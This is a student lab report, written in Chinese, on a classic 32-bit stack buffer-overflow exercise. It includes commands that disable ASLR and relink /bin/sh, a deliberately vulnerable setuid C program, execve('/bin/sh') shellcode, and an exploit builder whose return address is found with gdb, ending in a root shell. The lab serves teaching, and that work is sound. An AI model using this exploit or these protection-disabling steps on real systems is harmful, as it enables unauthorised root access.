2024-2025-1 20242817《Linux内核原理与分析》第十二周作业

一、实验简介

缓冲区溢出漏洞实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验过程

1. 配置实验所需要的环境

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

2. 为进行缓冲区溢出漏洞实验做准备

将参数randomize_va_space设置为0，禁用了地址空间布局随机化（ASLR），使得进程的内存地址布局不再随机化。禁用 ASLR 后，内存布局固定，攻击者可以更容易预测缓冲区溢出的目标地址，这是缓冲区溢出攻击成功的关键前提。
修改sh的符号链接，并以32位的环境来运行实验。

sudo sysctl -w kernel.randomize_va_space=0	//固定进程的内存布局
 
sudo su
cd /bin
rm sh
ln -s zsh sh								//使用root权限将/bin/sh链接到zsh
exit

linux32										//以32位环境来运行程序

缓冲区溢出会造成程序崩溃，溢出的数据会覆盖返回地址。但是，如果覆盖返回地址的数据是另外一个地址，那么程序就会跳转到该地址。如果跳转后的地址存放的是一段代码，用以实现某种功能，那这段代码就是shellcode。
本次实验的 shellcode代码如下：

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

接下来在 /tmp 目录下新建一个 stack.c 文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);
 
    return 1;
}
 
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
 
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
 
    printf("Returned Properly\n");
    return 1;
}

该代码会读取一个名为“badfile”的文件，并写入一个缓冲区buffer。如果str的长度超过12字节，就会发生缓冲区溢出，导致超出缓冲区的内存被覆盖。

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

之后编译该程序，并设置 SET-UID，代码如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

我们要攻击刚才的stack文件，并通过攻击获取root权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下代码：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;
 
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517);
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

现在我们要得到 shellcode 在内存中的地址，使用 gdb进行 调试：

gdb stack
disass main

执行 disass main 命令后，GDB 会显示 main 函数的反汇编代码。

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。接下来设置断点进行调试。

# 设置断点
b *0x080484ee
r
i r $esp

其中0xffffd4b0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode);可知需要计算地址偏移。

0xffffd4b0 + 0x64 = 0xffffd514

故，shellcode 的地址为 0xffffd514。修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd5\xff\xff，注意顺序要反过来。

编译 exploit.c 程序，分别运行 exploit和 stack。

此时已经获得了root权限，攻击成功。

三、实验总结

1. 实验原理：缓冲区溢出漏洞是计算机历史上最经典且最危险的安全漏洞之一。它利用程序对内存操作的缺陷，实现对程序控制流的劫持。
2. 实验过程：实验中，我们编写了两段简单的代码，来实现缓冲区溢出漏洞，攻击者可以通过溢出漏洞获得系统的高权限，本实验中就被获取了root权限。
3. 预防措施：可以在编程中避免使用不安全的函数（如 strcpy、gets 等）或动态内存分配来预防缓冲区溢出。
4. 潜在危害：在网络服务程序中，攻击者可利用缓冲区溢出漏洞执行任意代码，修改程序的控制流或窃取敏感信息。

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